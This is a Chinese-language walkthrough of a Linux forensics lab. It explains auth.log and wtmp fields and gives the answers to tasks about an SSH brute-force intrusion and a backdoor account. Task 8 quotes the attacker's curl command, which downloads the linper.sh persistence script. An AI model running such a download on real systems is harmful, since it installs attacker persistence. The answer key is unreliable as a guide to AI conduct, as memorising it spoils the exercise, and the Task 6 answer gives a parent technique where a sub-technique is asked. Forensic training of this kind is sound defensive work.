類別:Linux 取證、DFIR
此靶場提供了兩個檔案:auth.log,wtmp
這個靶場的考點主要是關於 Linux 下 auth.log、wtmp 檔案的知識點,可以增加對 auth.log 檔案的認識,也是在取證中比較常看的日誌檔案。
auth.log 檔案是 Linux 系統中用於記錄與身份驗證相關的日誌檔案,特別是在基於 Debian 的發行版上。它主要記錄了系統的身份驗證事件,包括成功和失敗的登錄嘗試、使用者切換、sudo 命令使用、SSH 連接等。
auth.log 的各個欄位介紹:
- 時間戳記:日誌生成的日期和時間
- 主機名:Linux 機器的名稱
- 進程名:進程名稱
- 進程 ID:進程 ID 標識符
- 使用者:身份驗證過程中涉及的使用者名稱
- 認證狀態:詳細說明身份驗證嘗試是成功還是失敗
- IP 地址:嘗試遠程連接的 IP
- 消息內容:
Aug 8 12:34:56 hostname sshd[12345]: Failed password for root from 192.168.1.100 port 54321 ssh2
WTMP 檔案
wtmp 檔案在 Mac 上可以使用utmpdump工具查看,在 Linux 伺服器上如果查看 wtmp 日誌,則使用last
命令即可。
utmpdump
的輸出包含了從wtmp
檔案的二進位格式解碼的多個欄位。 下面是各個欄位的介紹:
- 類型:這表示記錄的類型,例如使用者登錄或註銷、系統啟動或關機事件。
- 進程 ID:與事件相關的進程識別符
- 線路:使用者登錄的終端線路(tty 或 pts)
- 標識:與線路欄位相關的簡短標識符
- 使用者:與事件關聯的使用者名稱
- 主機:如果適用,使用者訪問系統的主機名或 IP 地址
- 退出:會話或進程的退出狀態
- 會話:會話 ID
- 時間:事件的時間戳記。
- 地址:額外的地址資訊,在遠程登錄的情況下可能是 IP 地址
Task1 通過查看 auth.log 日誌,我們能否找出攻擊者在進行暴力破解時所使用的 IP 地址?
cat auth.log | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto | grep "Invalid user"
65.2.161.68
Task2 通過蠻力攻擊,攻擊者成功地侵入了伺服器上的一個帳戶。那麼,這個帳戶的使用者名稱是什麼呢?
root
Task3 你能確定攻擊者親自登錄伺服器執行其計劃的具體時間點嗎?
有時差,得減 8,14:32:45 - 8:00:00 = 06:32:45
2024-03-06 06:32:45
Task4 SSH 會話在使用者登錄時進行追蹤,並為每個會話分配一個編號。在問題 2 描述的情境中,攻擊者使用的帳戶登錄後,其會話被賦予了哪個編號呢?
cat auth.log | grep "root"
37
Task5 攻擊者為了在伺服器上長期保持控制權,創建了一個新的使用者帳號,並為這個帳號設置了更高的權限等級。那麼,這個帳號的名稱是什麼呢?
cat auth.log | grep "Accept"
cyberjunkie
Task6 MITRE ATT&CK 持久化所用的子技術 ID 是什麼?
https://attack.mitre.org/techniques/T1136
Task7 根據之前確認的登錄時間以及在認證日誌檔案中記錄的會話結束時間,我們可以計算出攻擊者首次通過 SSH 連接的持續時間是多少秒?
從 32.45 到 37:24
240+39
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Task8 攻擊者登錄了他們的後門帳號,並利用其更高權限下載了一個腳本。使用 sudo 執行的完整命令是什麼?
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh